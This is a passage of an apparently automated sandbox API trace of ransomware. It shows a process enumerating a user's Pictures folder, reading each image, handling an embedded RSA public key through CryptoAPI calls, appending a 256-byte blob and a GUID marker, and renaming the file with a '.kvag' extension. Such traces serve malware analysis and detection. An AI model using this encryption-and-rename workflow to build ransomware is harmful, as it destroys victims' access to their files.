lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.053] CloseHandle (hObject=0x61c) returned 1 [0120.055] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UGs 1G.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ugs 1g.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UGs 1G.png.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ugs 1g.png.kvag")) returned 1 [0120.056] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8dfe920, ftCreationTime.dwHighDateTime=0x1d4c997, ftLastAccessTime.dwLowDateTime=0xc42297d0, ftLastAccessTime.dwHighDateTime=0x1d4d3c0, ftLastWriteTime.dwLowDateTime=0xc42297d0, ftLastWriteTime.dwHighDateTime=0x1d4d3c0, nFileSizeHigh=0x0, nFileSizeLow=0xd259, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uk30lTmUkDiXk.png", cAlternateFileName="UK30LT~1.PNG")) returned 1 [0120.056] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Uk30lTmUkDiXk.png") returned=".png" [0120.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Uk30lTmUkDiXk.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\uk30ltmukdixk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.057] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=53849) returned 1 [0120.057] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.059] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.059] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.060] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xd259, lpOverlapped=0x0) returned 1 [0120.061] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.061] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.061] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.061] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.062] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.062] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.062] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.062] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.062] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.062] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.062] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.062] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.062] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.063] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.063] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd259, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.063] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.063] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.063] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.063] CloseHandle (hObject=0x61c) returned 1 [0120.065] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Uk30lTmUkDiXk.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\uk30ltmukdixk.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Uk30lTmUkDiXk.png.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\uk30ltmukdixk.png.kvag")) returned 1 [0120.066] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557aeca0, ftCreationTime.dwHighDateTime=0x1d4d182, ftLastAccessTime.dwLowDateTime=0xf7400cc0, ftLastAccessTime.dwHighDateTime=0x1d4cb27, ftLastWriteTime.dwLowDateTime=0xf7400cc0, ftLastWriteTime.dwHighDateTime=0x1d4cb27, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uQNlTbt2ZLDW28.png", cAlternateFileName="UQNLTB~1.PNG")) returned 1 [0120.066] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uQNlTbt2ZLDW28.png") returned=".png" [0120.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uQNlTbt2ZLDW28.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\uqnltbt2zldw28.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.066] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=1644) returned 1 [0120.066] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.068] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x646, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.068] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.070] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x66c, lpOverlapped=0x0) returned 1 [0120.070] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.070] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.070] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.070] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.071] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.071] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.071] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.071] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.071] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.071] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.071] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.071] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.071] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.071] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.072] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x66c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.072] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.072] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.072] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.072] CloseHandle (hObject=0x61c) returned 1 [0120.073] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uQNlTbt2ZLDW28.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\uqnltbt2zldw28.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uQNlTbt2ZLDW28.png.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\uqnltbt2zldw28.png.kvag")) returned 1 [0120.074] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508a6f00, ftCreationTime.dwHighDateTime=0x1d4d014, ftLastAccessTime.dwLowDateTime=0xaa5ee7f0, ftLastAccessTime.dwHighDateTime=0x1d4cea1, ftLastWriteTime.dwLowDateTime=0xaa5ee7f0, ftLastWriteTime.dwHighDateTime=0x1d4cea1, nFileSizeHigh=0x0, nFileSizeLow=0x1176e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vvqVqmO9vV2.png", cAlternateFileName="VVQVQM~1.PNG")) returned 1 [0120.074] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vvqVqmO9vV2.png") returned=".png" [0120.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vvqVqmO9vV2.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vvqvqmo9vv2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.075] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=71534) returned 1 [0120.075] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.077] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11748, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.077] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.078] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1176e, lpOverlapped=0x0) returned 1 [0120.079] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.079] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.079] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.079] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.080] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.080] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.080] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.080] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.080] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.080] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.080] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.080] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.080] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.081] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.081] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1176e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.081] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.081] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.082] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.082] CloseHandle (hObject=0x61c) returned 1 [0120.083] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vvqVqmO9vV2.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vvqvqmo9vv2.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vvqVqmO9vV2.png.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vvqvqmo9vv2.png.kvag")) returned 1 [0120.084] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c6520d0, ftCreationTime.dwHighDateTime=0x1d4c590, ftLastAccessTime.dwLowDateTime=0x490fb9b0, ftLastAccessTime.dwHighDateTime=0x1d4cc59, ftLastWriteTime.dwLowDateTime=0x490fb9b0, ftLastWriteTime.dwHighDateTime=0x1d4cc59, nFileSizeHigh=0x0, nFileSizeLow=0x617f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W5kM7vMzTh0L6va.bmp", cAlternateFileName="W5KM7V~1.BMP")) returned 1 [0120.084] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\W5kM7vMzTh0L6va.bmp") returned=".bmp" [0120.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\W5kM7vMzTh0L6va.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\w5km7vmzth0l6va.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.084] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=24959) returned 1 [0120.084] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.086] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.086] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.087] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x617f, lpOverlapped=0x0) returned 1 [0120.088] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.088] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.088] lstrlenA (lpString="-----BEGIN PUBLIC 